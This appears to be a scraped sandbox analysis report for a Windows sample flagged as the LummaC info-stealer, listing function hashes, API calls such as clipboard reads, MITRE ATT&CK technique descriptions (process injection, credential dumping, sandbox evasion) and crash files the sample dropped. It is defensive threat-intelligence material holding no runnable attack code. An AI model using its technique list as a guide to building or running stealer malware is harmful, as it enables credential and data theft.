Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: A3D097B1E083B00E8708CD3804A0837FBF8EA47212B0810AFE4C1F7254C234DC06429C

Uniqueness

Uniqueness Score: -1.00%

Function 03667C81 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1d00143d9b47a150a09edb0ffbcaa3a4c2e54c1fb4a7751445bbacbac58bbda
Instruction ID: 4af2f6591203eb44f7cda63c42f66c34da899e8ffbd96d82427367fc234936c7
Opcode Fuzzy Hash: a1d00143d9b47a150a09edb0ffbcaa3a4c2e54c1fb4a7751445bbacbac58bbda
Instruction Fuzzy Hash: F1D012BDA447019BC618CF24D9C26727375EB43305F016838D926EBB52D6AAF4259A0D

Uniqueness

Uniqueness Score: -1.00%

Function 00417A1A Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 357252b79d041a9cb8863a8a70bc3eda74155f604f83d7974b85c32f99742b23
Instruction ID: 429b6e491936dd3adf72c035c7849fef6724af8828ce1e6042c1e2f453a999e0
Opcode Fuzzy Hash: 357252b79d041a9cb8863a8a70bc3eda74155f604f83d7974b85c32f99742b23
Instruction Fuzzy Hash: 4FD012B9A44A008BC618CF20E9826727375E743309F01683CD966FBB93D6AAF4159A0D

Uniqueness

Uniqueness Score: -1.00%

Function 0368A3E9 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c77a9ebc51a86675e44a6f99a3966b2793bef48500e2cda15b5f9fb58d67fea
Instruction ID: 6367bc7fe26136007b541ddedc5a285a727d76327c65cd92166afe5ba3867170
Opcode Fuzzy Hash: 7c77a9ebc51a86675e44a6f99a3966b2793bef48500e2cda15b5f9fb58d67fea
Instruction Fuzzy Hash: 26C0123864C14487C708DF55DC40276F2A6E78B305F94A16DCC0553302D5B098069A4C

Uniqueness

Uniqueness Score: -1.00%

Function 0043A182 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c77a9ebc51a86675e44a6f99a3966b2793bef48500e2cda15b5f9fb58d67fea
Instruction ID: dd040a652c0bcf013a8ebc4902ff26566ce8e03b22f7871ebbe74977e02a64fb
Opcode Fuzzy Hash: 7c77a9ebc51a86675e44a6f99a3966b2793bef48500e2cda15b5f9fb58d67fea
Instruction Fuzzy Hash: 77C0123868C14487C708CF54DC40276F3A5E78B305F94A06DC44513306C5709816AA8D

Uniqueness

Uniqueness Score: -1.00%

Function 03672689 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b5e3e9669de4d50f267f7cffccdae9573317f8fd3ea8b9d4cd734cdd1d2440a
Instruction ID: a0589430dc82ea4d69e026f10a0c0d3340d885b5bea6ee464c50c2b2f2e1b1d9
Opcode Fuzzy Hash: 4b5e3e9669de4d50f267f7cffccdae9573317f8fd3ea8b9d4cd734cdd1d2440a
Instruction Fuzzy Hash: 45C04C6DF961814B8648CF059D5277662AAD7CB615725A1388456D3B64CA64E8028508

Uniqueness

Uniqueness Score: -1.00%

Function 00422422 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b5e3e9669de4d50f267f7cffccdae9573317f8fd3ea8b9d4cd734cdd1d2440a
Instruction ID: a0589430dc82ea4d69e026f10a0c0d3340d885b5bea6ee464c50c2b2f2e1b1d9
Opcode Fuzzy Hash: 4b5e3e9669de4d50f267f7cffccdae9573317f8fd3ea8b9d4cd734cdd1d2440a
Instruction Fuzzy Hash: 45C04C6DF961814B8648CF059D5277662AAD7CB615725A1388456D3B64CA64E8028508

Uniqueness

Uniqueness Score: -1.00%

Function 0368A3F7 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e002cc3f42241922a38815367ad6a91b3fcbe031655e2ba6955275dd152be1d5
Instruction ID: e16380c9e19cfba4a111690c21ce1dbdc4287d768eea557a9fc4bb7991e523d7
Opcode Fuzzy Hash: e002cc3f42241922a38815367ad6a91b3fcbe031655e2ba6955275dd152be1d5
Instruction Fuzzy Hash: 44C04C7C64D14087D70CCF50D955676F3BAEB87705F94E16DC44513656C6709806AA4C

Uniqueness

Uniqueness Score: -1.00%

Function 0043A190 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e002cc3f42241922a38815367ad6a91b3fcbe031655e2ba6955275dd152be1d5
Instruction ID: e16380c9e19cfba4a111690c21ce1dbdc4287d768eea557a9fc4bb7991e523d7
Opcode Fuzzy Hash: e002cc3f42241922a38815367ad6a91b3fcbe031655e2ba6955275dd152be1d5
Instruction Fuzzy Hash: 44C04C7C64D14087D70CCF50D955676F3BAEB87705F94E16DC44513656C6709806AA4C

Uniqueness

Uniqueness Score: -1.00%

Function 0367DB57 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 155clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 0367DBB3
OpenClipboard.USER32 ref: 0367DBC5
GetClipboardData.USER32 ref: 0367DBE4
CloseClipboard.USER32 ref: 0367DD16

Strings

a, xrefs: 0367DC5C
l, xrefs: 0367DC70
c, xrefs: 0367DC4C
n, xrefs: 0367DC68
b, xrefs: 0367DC54
c, xrefs: 0367DC6C

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseDataInfoOpenWindow
String ID: a$b$c$c$l$n
API String ID: 2278096442-2118919457
Opcode ID: 2b54a1d56b7a988d8ad228d874f51f3b45e33c2b14fc036dc6775d2ce95685e6
Instruction ID: 8fd842dad3c5b94be68370d3829f2a6c50b14a27b7a92007a81b03a989dfa598
Opcode Fuzzy Hash: 2b54a1d56b7a988d8ad228d874f51f3b45e33c2b14fc036dc6775d2ce95685e6
Instruction Fuzzy Hash: 36518FB4408B80CFC720DF38C589616BBF1AF15320F088A6DD8D68B795D375E406CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0366E907 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0366EA32
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0366EA61

Strings

JE, xrefs: 0366E992
mz, xrefs: 0366EA87
N, xrefs: 0366EA8F

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: JE$N$mz
API String ID: 237503144-108684729
Opcode ID: bc3b9213bb2758d3e3e68cc74ab0fc31b7c5d13228ea9ed8bb1be7c6613b1ba5
Instruction ID: f8d5e5ca04c1473c0c09a455b6ddd1c5c55bf2e4279d76c41f3aaf2a758b5bad
Opcode Fuzzy Hash: bc3b9213bb2758d3e3e68cc74ab0fc31b7c5d13228ea9ed8bb1be7c6613b1ba5
Instruction Fuzzy Hash: 01514EB4108381AFD310CF01C895B4BBBE5EBC6794F108E2CF8A44B391D7B5D94A8B96

Uniqueness

Uniqueness Score: -1.00%

Function 03672937 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 03672A29
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 03672A60

Strings

MNO, xrefs: 03672A7B

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: MNO
API String ID: 237503144-1907183675
Opcode ID: 78e6315bce8a6187e0842bc67264e23d18a0778db6b2ddcc4db9a03e1ee5456f
Instruction ID: 4ef43aef89201b854ab316713e55a433103846eb120f4e2f63a07cb95ae2c322
Opcode Fuzzy Hash: 78e6315bce8a6187e0842bc67264e23d18a0778db6b2ddcc4db9a03e1ee5456f
Instruction Fuzzy Hash: 0DB10271140B008BE33ACF24C5A4797BBE2BB89708F554F1DC9A75BA90D7B4B50ACB84

Uniqueness

Uniqueness Score: -1.00%

Function 004226D0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 004227C2
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 004227F9

Strings

MNO, xrefs: 00422814

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: MNO
API String ID: 237503144-1907183675
Opcode ID: 8c767264797024f60dc898dc0aaff19022dbdba7ce675aa866db1637c3130b51
Instruction ID: 6712c612b84ee881e1d235e81750fed71cd5445294cf952b386b04711fbcdcd3
Opcode Fuzzy Hash: 8c767264797024f60dc898dc0aaff19022dbdba7ce675aa866db1637c3130b51
Instruction Fuzzy Hash: 42B11571240B108BE32ACF24C5A0797BBE2FB85704F554B1DC9A74BA90D7B4B54ACB94

Uniqueness

Uniqueness Score: -1.00%

Function 0367E656 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SelectObject.GDI32 ref: 0367E69E
SelectObject.GDI32 ref: 0367E720

Strings

, xrefs: 0367E6ED

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID: ObjectSelect
String ID:
API String ID: 1517587568-3916222277
Opcode ID: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction ID: 067dd7c3289f4e305d6ea29469c4324b941e1edc6e32ecc6fce08ce9d2dbade4
Opcode Fuzzy Hash: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction Fuzzy Hash: BC513CB8605B008FC364DF28D595A16BBF1BB89300B118A6DE98A8BB60D731F849CF55

Uniqueness

Uniqueness Score: -1.00%

Function 03659057 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 036590C7

Strings

often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs, xrefs: 0365908D

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs
API String ID: 621844428-3137510881
Opcode ID: 1f54d65f0a049a0af63e194947d137ef6acec4bdd30eaa2fe77be7f0d6b7cb0e
Instruction ID: a361aff882e900452723728d775d08b8669926ffc3545b69ec13ce088214c11b
Opcode Fuzzy Hash: 1f54d65f0a049a0af63e194947d137ef6acec4bdd30eaa2fe77be7f0d6b7cb0e
Instruction Fuzzy Hash: F6F0FFBA40C310CADA00FBA4D20467D3AF99B14364F148E3EFC96C5250DB71808A8AAB

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report LwnI84BBtb.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_LwnI84BBtb.exe_1ea81470fde93d5ba9982c97d6c51c12dc70cc0_19912bd0_209de206-4fdf-4734-8956-4504ba2af95f\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_LwnI84BBtb.exe_e664834b6db86c663fd972c4efd7b7dd6c8b6a_19912bd0_6bfa8470-f327-4b11-9581-4a8c6cf91f20\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBC40.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBCFC.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD1C.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF2E.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC394.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC3B4.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
LwnI84BBtb.exe

Function 004156B6 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 488
COMMON

Function 004046D0 Relevance: 5.5, Strings: 4, Instructions: 506
COMMON

Function 0365003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Function 00427C0B Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 72
memoryCOMMON

Function 0041E6A0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138
COMMON

Function 004248C4 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 610
COMMON

Function 004248C7 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 602
COMMON

Function 004252A4 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 458
COMMON